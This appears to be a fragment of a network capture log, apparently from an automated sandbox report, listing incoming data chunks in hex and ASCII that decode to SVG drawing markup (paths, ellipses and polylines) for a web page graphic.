2023-07-27 19:54:09 UTC	4229	IN	Data Raw: 20 35 36 38 2e 37 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 32 2e 32 34 22 20 72 79 3d 22 32 2e 38 38 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 31 2e 36 22 20 72 79 3d 22 32 2e 30 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 Data Ascii: 568.75) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="2.24" ry="2.88" transform="translate(45.69 569.88) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="1.6" ry="2.05" transform="translate(45.69 569.88) rotate(
2023-07-27 19:54:09 UTC	4245	IN	Data Raw: 33 34 63 30 2d 2e 30 35 2d 2e 32 38 2d 2e 32 35 2d 2e 33 32 2d 2e 33 61 2e 33 2e 33 2c 30 2c 30 2c 31 2d 2e 30 39 2d 2e 32 33 2e 33 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 33 33 2d 2e 33 33 43 38 31 35 2e 32 36 2c 32 35 30 2e 31 34 2c 38 31 35 2e 33 34 2c 32 35 30 2e 31 38 2c 38 31 35 2e 36 2c 32 35 30 2e 33 39 5a 6d 31 2e 31 37 2e 34 36 61 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 32 33 2e 36 36 63 30 2c 2e 32 31 2d 2e 32 31 2e 32 38 2d 2e 34 32 2e 32 32 73 2d 2e 31 37 2d 2e 30 38 2d 2e 33 33 2d 2e 34 37 6c 2d 2e 31 36 2d 2e 33 37 61 2e 33 35 2e 33 35 2c 30 2c 30 2c 31 2c 30 2d 2e 31 34 63 30 2d 2e 32 34 2e 32 33 2d 2e 32 36 2e 33 36 2d 2e 32 35 53 38 31 36 2e 36 35 2c 32 35 30 2e 35 39 2c 38 31 36 2e 37 37 2c 32 35 30 2e 38 35 5a 6d 2e 34 35 2e 30 Data Ascii: 34c0-.05-.28-.25-.32-.3a.3.3,0,0,1-.09-.23.32.32,0,0,1,.33-.33C815.26,250.14,815.34,250.18,815.6,250.39Zm1.17.46a2.37,2.37,0,0,1,.23.66c0,.21-.21.28-.42.22s-.17-.08-.33-.47l-.16-.37a.35.35,0,0,1,0-.14c0-.24.23-.26.36-.25S816.65,250.59,816.77,250.85Zm.45.0
2023-07-27 19:54:09 UTC	4261	IN	Data Raw: 2c 32 38 34 2e 39 31 5a 22 2f 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 33 22 20 78 3d 22 39 33 30 2e 31 36 22 20 79 3d 22 32 38 35 2e 32 39 22 20 77 69 64 74 68 3d 22 33 2e 37 35 22 20 68 65 69 67 68 74 3d 22 33 2e 31 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 38 36 34 2e 30 36 20 35 37 33 2e 36 37 29 20 72 6f 74 61 74 65 28 2d 31 38 30 29 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 34 22 20 64 3d 22 4d 39 33 33 2e 37 32 2c 32 39 35 2e 38 33 61 33 31 2e 37 31 2c 33 31 2e 37 31 2c 30 2c 30 2c 31 2d 36 2e 32 2e 35 31 2c 33 32 2e 34 33 2c 33 32 2e 34 33 2c 30 2c 30 2c 31 2d 36 2e 32 34 2d 2e 35 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 35 22 20 64 3d 22 4d 39 33 Data Ascii: ,284.91Z"/><rect class="cls-113" x="930.16" y="285.29" width="3.75" height="3.1" transform="translate(1864.06 573.67) rotate(-180)"/><path class="cls-114" d="M933.72,295.83a31.71,31.71,0,0,1-6.2.51,32.43,32.43,0,0,1-6.24-.51"/><path class="cls-115" d="M93
2023-07-27 19:54:09 UTC	4277	IN	Data Raw: 30 2c 30 2c 30 2c 2e 37 36 2e 36 2c 36 2e 35 38 2c 36 2e 35 38 2c 30 2c 30 2c 30 2c 32 2e 33 35 2c 31 2e 30 37 2c 37 2e 32 38 2c 37 2e 32 38 2c 30 2c 30 2c 30 2c 32 2e 33 37 2d 2e 30 39 6c 31 2e 38 37 2d 2e 32 37 61 35 2e 32 34 2c 35 2e 32 34 2c 30 2c 30 2c 30 2c 32 2e 35 38 2d 2e 38 35 41 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 30 2c 39 30 35 2e 35 37 2c 32 35 33 2e 35 32 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 33 34 22 20 64 3d 22 4d 38 39 36 2e 39 32 2c 32 34 36 2e 37 33 61 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 37 34 2d 2e 35 35 63 30 2d 2e 34 32 2e 32 37 2d 2e 37 39 2e 32 32 2d 31 2e 32 32 61 36 2e 34 38 2c 36 2e 34 38 2c 30 2c 30 2c 31 2c 32 2e 33 32 2d 2e 30 35 63 2d 2e 35 38 2e 39 34 2e 33 34 2c 32 2e 31 2c Data Ascii: 0,0,0,.76.6,6.58,6.58,0,0,0,2.35,1.07,7.28,7.28,0,0,0,2.37-.09l1.87-.27a5.24,5.24,0,0,0,2.58-.85A2.91,2.91,0,0,0,905.57,253.52Z"/><path class="cls-134" d="M896.92,246.73a2.36,2.36,0,0,1,.74-.55c0-.42.27-.79.22-1.22a6.48,6.48,0,0,1,2.32-.05c-.58.94.34,2.1,
2023-07-27 19:54:09 UTC	4293	IN	Data Raw: 36 37 2c 34 2e 37 36 2e 36 36 2c 37 2e 32 61 31 30 2e 36 34 2c 31 30 2e 36 34 2c 30 2c 30 2c 31 2d 32 2d 2e 31 38 2c 39 2c 39 2c 30 2c 30 2c 31 2d 31 2e 31 33 2d 2e 33 31 63 2d 2e 32 32 2d 2e 30 35 2d 31 2e 32 36 2d 2e 34 35 2d 31 2e 34 35 2d 2e 33 73 2e 31 38 2e 37 2e 33 32 2e 38 39 63 2e 32 36 2e 33 37 2e 33 34 2e 34 36 2e 32 33 2e 39 61 2e 38 33 2e 38 33 2c 30 2c 30 2c 31 2d 2e 35 31 2e 36 38 63 2d 2e 31 33 2e 30 36 2d 2e 38 36 2e 32 32 2d 31 2c 2e 31 33 2c 31 2e 32 34 2c 31 2e 31 39 2c 33 2e 32 36 2c 31 2c 34 2e 38 36 2c 31 2e 32 6c 32 2e 34 33 2e 32 34 63 2e 36 2e 30 36 2c 31 2e 31 37 2e 31 33 2c 31 2e 34 35 2d 2e 35 34 61 33 2e 38 37 2c 33 2e 38 37 2c 30 2c 30 2c 30 2c 2e 31 32 2d 31 2e 33 31 63 30 2d 31 2d 2e 31 36 2d 32 2d 2e 32 2d 33 43 38 32 37 Data Ascii: 67,4.76.66,7.2a10.64,10.64,0,0,1-2-.18,9,9,0,0,1-1.13-.31c-.22-.05-1.26-.45-1.45-.3s.18.7.32.89c.26.37.34.46.23.9a.83.83,0,0,1-.51.68c-.13.06-.86.22-1,.13,1.24,1.19,3.26,1,4.86,1.2l2.43.24c.6.06,1.17.13,1.45-.54a3.87,3.87,0,0,0,.12-1.31c0-1-.16-2-.2-3C827
2023-07-27 19:54:09 UTC	4309	IN	Data Raw: 2d 33 2d 31 33 2e 35 2d 33 6c 2d 33 30 2e 36 39 2d 33 2e 35 37 63 2d 31 2e 32 34 2d 2e 30 38 2d 34 2d 34 2d 34 2e 38 33 2d 34 2e 39 61 34 33 2e 30 37 2c 34 33 2e 30 37 2c 30 2c 30 2c 30 2d 34 2e 31 37 2d 33 2e 39 35 63 2d 32 2e 30 36 2d 31 2e 37 36 2d 33 2e 39 34 2d 33 2e 38 2d 35 2e 38 39 2d 35 2e 36 38 6c 2d 31 30 2d 39 2e 36 34 63 2d 36 2e 33 36 2d 31 2e 35 36 2d 31 32 2e 37 36 2d 33 2d 31 39 2e 31 32 2d 34 2e 35 36 2d 34 2e 33 35 2d 31 2e 30 38 2d 38 2e 37 34 2d 36 2e 31 33 2d 31 32 2e 38 36 2d 37 2e 38 31 2d 31 2e 32 33 2d 35 2e 31 34 2d 31 2e 35 38 2d 39 2d 33 2e 39 35 2d 31 37 2e 34 38 2d 2e 30 36 2d 2e 32 32 2c 31 2e 32 32 2d 39 2c 31 2e 36 38 2d 39 2c 31 32 2e 30 39 2e 31 34 2c 32 31 2c 2e 35 36 2c 33 33 2c 2e 36 35 2c 32 33 2c 2e 31 38 2c 34 35 Data Ascii: -3-13.5-3l-30.69-3.57c-1.24-.08-4-4-4.83-4.9a43.07,43.07,0,0,0-4.17-3.95c-2.06-1.76-3.94-3.8-5.89-5.68l-10-9.64c-6.36-1.56-12.76-3-19.12-4.56-4.35-1.08-8.74-6.13-12.86-7.81-1.23-5.14-1.58-9-3.95-17.48-.06-.22,1.22-9,1.68-9,12.09.14,21,.56,33,.65,23,.18,45
2023-07-27 19:54:09 UTC	4325	IN	Data Raw: 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 37 20 35 36 33 2e 36 34 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 34 30 2e 36 39 22 20 63 79 3d 22 32 31 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 35 22 20 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 36 2e 38 36 20 35 36 33 2e 39 39 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 33 39 2e 30 38 22 20 63 79 3d 22 32 31 34 2e 30 35 22 20 72 78 3d 22 30 2e 31 35 22 20 Data Ascii: ry="0.19" transform="translate(47 563.64) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="840.69" cy="214.09" rx="0.15" ry="0.19" transform="translate(46.86 563.99) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="839.08" cy="214.05" rx="0.15"
2023-07-27 19:54:09 UTC	4341	IN	Data Raw: 63 79 3d 22 32 33 33 2e 36 37 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 37 38 20 35 35 30 2e 37 36 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 32 2e 39 38 22 20 63 79 3d 22 32 33 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 36 33 20 35 35 31 2e 31 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 33 2e 34 Data Ascii: cy="233.67" rx="0.17" ry="0.22" transform="translate(28.78 550.76) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="812.98" cy="234.09" rx="0.17" ry="0.22" transform="translate(28.63 551.15) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="813.4
2023-07-27 19:54:09 UTC	4357	IN	Data Raw: 73 20 31 20 6e 6f 72 6d 61 6c 20 6e 6f 6e 65 20 72 75 6e 6e 69 6e 67 3b 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 20 73 76 67 2d 61 6e 69 6d 22 20 64 3d 22 4d 38 30 38 2e 38 35 2c 32 38 31 2e 37 37 61 31 2e 38 35 2c 31 2e 38 35 2c 30 2c 30 2c 31 2c 2e 31 31 2d 2e 33 31 63 2d 2e 33 31 2e 36 37 2d 31 2c 31 2d 31 2e 30 39 2c 31 2e 37 38 61 31 31 2c 31 31 2c 30 2c 30 2c 30 2d 2e 31 35 2c 31 2e 31 35 63 30 2c 2e 34 34 2e 32 2e 36 32 2e 33 31 2c 31 2c 2e 32 32 2e 37 34 2d 2e 31 37 2c 31 2e 37 35 2d 31 2e 30 37 2c 31 2e 34 35 2d 2e 36 39 2d 2e 32 33 2d 31 2e 31 2d 31 2d 31 2e 36 2d 31 2e 34 35 61 31 31 2e 37 36 2c 31 31 2e 37 36 2c 30 2c 30 2c 31 2d 31 2e 38 39 2d 31 2e 37 37 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c Data Ascii: s 1 normal none running;"></path><path class="cls-38 svg-anim" d="M808.85,281.77a1.85,1.85,0,0,1,.11-.31c-.31.67-1,1-1.09,1.78a11,11,0,0,0-.15,1.15c0,.44.2.62.31,1,.22.74-.17,1.75-1.07,1.45-.69-.23-1.1-1-1.6-1.45a11.76,11.76,0,0,1-1.89-1.77,2.39,2.39,0,0,
2023-07-27 19:54:09 UTC	4373	IN	Data Raw: 35 2e 36 36 20 35 39 38 2e 34 35 20 32 32 31 2e 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 39 2e 35 34 20 32 31 31 2e 31 32 20 35 39 32 2e 36 35 20 32 31 36 2e 32 33 20 35 39 39 2e 32 20 32 32 30 2e 32 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 33 35 2e 32 32 20 35 39 30 2e 35 20 32 33 39 2e 35 34 20 35 39 37 2e 38 31 20 32 33 36 2e 33 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 33 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 35 30 2e 33 31 20 35 39 30 2e 35 20 32 Data Ascii: 5.66 598.45 221.7"></polyline><polyline class="cls-52" points="579.54 211.12 592.65 216.23 599.2 220.2"></polyline><polyline class="cls-52" points="577.82 235.22 590.5 239.54 597.81 236.37"></polyline><polyline class="cls-53" points="577.82 250.31 590.5 2
2023-07-27 19:54:09 UTC	4389	IN	Data Raw: 61 6e 69 6d 22 20 64 3d 22 4d 36 30 39 2e 33 33 2c 33 30 34 2e 38 39 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 30 2c 2e 32 2d 2e 32 38 63 2d 2e 34 2e 36 37 2d 2e 33 31 2c 31 2e 34 38 2d 2e 39 2c 32 61 39 2e 39 34 2c 39 2e 39 34 2c 30 2c 30 2c 31 2d 2e 39 32 2e 38 63 2d 2e 33 38 2e 32 37 2d 2e 36 35 2e 32 2d 31 2c 2e 33 33 2d 2e 37 38 2e 32 35 2d 31 2e 34 33 2c 31 2e 31 37 2d 2e 36 34 2c 31 2e 37 38 61 35 2e 31 38 2c 35 2e 31 38 2c 30 2c 30 2c 30 2c 32 2e 32 31 2e 35 34 2c 31 32 2e 31 31 2c 31 32 2e 31 31 2c 30 2c 30 2c 30 2c 32 2e 36 35 2e 36 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 30 2c 31 2e 34 35 2d 2e 35 35 63 2e 34 35 2d 2e 34 38 2e 32 38 2d 31 2e 35 37 2e 32 34 2d 32 2e 31 36 2d 2e 30 36 2d 31 2d 2e 34 33 2d 31 2e 39 32 2d 2e 34 31 2d 32 2e Data Ascii: anim" d="M609.33,304.89a1.62,1.62,0,0,0,.2-.28c-.4.67-.31,1.48-.9,2a9.94,9.94,0,0,1-.92.8c-.38.27-.65.2-1,.33-.78.25-1.43,1.17-.64,1.78a5.18,5.18,0,0,0,2.21.54,12.11,12.11,0,0,0,2.65.6,2.52,2.52,0,0,0,1.45-.55c.45-.48.28-1.57.24-2.16-.06-1-.43-1.92-.41-2.
2023-07-27 19:54:09 UTC	4405	IN	Data Raw: 30 2c 30 2d 2e 35 32 2d 2e 30 36 2c 31 2e 35 34 2c 31 2e 35 34 2c 30 2c 30 2c 30 2d 2e 37 2e 31 35 2c 31 2e 34 33 2c 31 2e 34 33 2c 30 2c 30 2c 30 2d 2e 35 2e 34 31 2c 31 2e 37 37 2c 31 2e 37 37 2c 30 2c 30 2c 30 2d 2e 33 2e 35 38 2c 32 2e 36 31 2c 32 2e 36 31 2c 30 2c 30 2c 30 2d 2e 30 39 2e 36 39 76 33 68 2d 31 2e 31 33 56 37 31 2e 31 36 43 38 39 34 2e 34 39 2c 37 31 2c 38 39 34 2e 34 39 2c 37 30 2e 38 31 2c 38 39 34 2e 34 38 2c 37 30 2e 35 37 5a 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 39 30 30 2e 31 35 2c 36 37 2e 38 38 61 2e 36 37 2e 36 37 2c 30 2c 30 2c 31 2d 2e 32 32 2e 35 32 2e 37 32 2e 37 32 2c 30 2c 30 2c 31 2d 2e 35 33 2e 32 2e 36 38 2e 36 38 2c 30 2c 30 2c 31 2d 2e 35 32 2d 2e 32 31 2e Data Ascii: 0,0-.52-.06,1.54,1.54,0,0,0-.7.15,1.43,1.43,0,0,0-.5.41,1.77,1.77,0,0,0-.3.58,2.61,2.61,0,0,0-.09.69v3h-1.13V71.16C894.49,71,894.49,70.81,894.48,70.57Z"></path><path class="cls-2" d="M900.15,67.88a.67.67,0,0,1-.22.52.72.72,0,0,1-.53.2.68.68,0,0,1-.52-.21.
2023-07-27 19:54:09 UTC	4421	IN	Data Raw: 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 30 30 2e 31 31 2c 32 30 31 2e 37 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 41 32 2e 35 33 2c 32 2e 35 33 2c 30 2c 30 2c 31 2c 36 39 36 2c 32 30 33 61 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d Data Ascii: 51-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M700.11,201.72a1.73,1.73,0,0,1-.78,2.24A2.53,2.53,0,0,1,696,203a2.42,2.42,0,0,1,.51-2.89,2.25,2.25,0,0,1,2.9,0,2.12,2.12,0,0,1,.16,2.85"></path><path class="cls-4" d="M
2023-07-27 19:54:09 UTC	4437	IN	Data Raw: 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 35 37 2c 32 39 37 2e 38 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 33 31 2e 33 34 2c 32 39 30 2e 39 31 61 31 2e 37 Data Ascii: 0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path><path class="cls-4" d="M731.57,297.84a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.39,2.39,0,0,1,.52-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M731.34,290.91a1.7
2023-07-27 19:54:09 UTC	4453	IN	Data Raw: 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 34 32 2c 32 30 30 2e 30 36 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 34 39 2e 31 39 2c 31 39 33 2e 31 32 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d Data Ascii: th><path class="cls-4" d="M749.42,200.06a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M749.19,193.12a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-
2023-07-27 19:54:09 UTC	4469	IN	Data Raw: 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 31 2d 33 2e 33 33 2d 2e 39 34 2c 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 38 2c 32 2e 32 34 2c 32 2e 32 34 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 38 30 2e 36 35 2c 32 38 39 2e 32 34 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 31 2c 32 2e 35 31 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 37 2c 32 2e 32 37 2c 30 2c 30 2c 31 2c 32 Data Ascii: ,1.72,0,0,1-.78,2.23,2.5,2.5,0,0,1-3.33-.94,2.37,2.37,0,0,1,.51-2.88,2.24,2.24,0,0,1,2.89,0,2.12,2.12,0,0,1,.16,2.86"></path><path class="cls-4" d="M780.65,289.24a1.72,1.72,0,0,1-.78,2.23,2.51,2.51,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.27,2.27,0,0,1,2
2023-07-27 19:54:09 UTC	4485	IN	Data Raw: 2e 33 34 2d 2e 39 34 2c 32 2e 34 31 2c 32 2e 34 31 2c 30 2c 30 2c 31 2c 2e 35 32 2d 32 2e 38 39 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 35 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 37 39 38 2e 35 2c 31 39 31 2e 34 35 61 31 2e 37 33 2c 31 2e 37 33 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 34 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 32 2c 32 2e 31 32 2c 30 2c 30 2c 31 2c 2e 31 35 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 Data Ascii: .34-.94,2.41,2.41,0,0,1,.52-2.89,2.25,2.25,0,0,1,2.89,0,2.11,2.11,0,0,1,.16,2.85"></path><path class="cls-4" d="M798.5,191.45a1.73,1.73,0,0,1-.78,2.24,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.12,2.12,0,0,1,.15,2.86"></path
2023-07-27 19:54:09 UTC	4501	IN	Data Raw: 30 2c 31 2c 32 2e 38 39 2c 30 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 33 30 2c 32 38 37 2e 35 37 61 31 2e 37 32 2c 31 2e 37 32 2c 30 2c 30 2c 31 2d 2e 37 38 2c 32 2e 32 33 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 31 2d 33 2e 33 34 2d 2e 39 34 2c 32 2e 34 32 2c 32 2e 34 32 2c 30 2c 30 2c 31 2c 2e 35 31 2d 32 2e 38 39 2c 32 2e 32 36 2c 32 2e 32 36 2c 30 2c 30 2c 31 2c 32 2e 39 2c 30 2c 32 2e 31 33 2c 32 2e 31 33 2c 30 2c 30 2c 31 2c 2e 31 36 2c 32 2e 38 36 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 34 22 20 64 3d 22 4d 38 32 39 2e 37 32 2c 32 38 30 2e 36 33 61 31 2e 37 32 2c 31 2e 37 Data Ascii: 0,1,2.89,0,2.11,2.11,0,0,1,.16,2.86"></path><path class="cls-4" d="M830,287.57a1.72,1.72,0,0,1-.78,2.23,2.52,2.52,0,0,1-3.34-.94,2.42,2.42,0,0,1,.51-2.89,2.26,2.26,0,0,1,2.9,0,2.13,2.13,0,0,1,.16,2.86"></path><path class="cls-4" d="M829.72,280.63a1.72,1.7
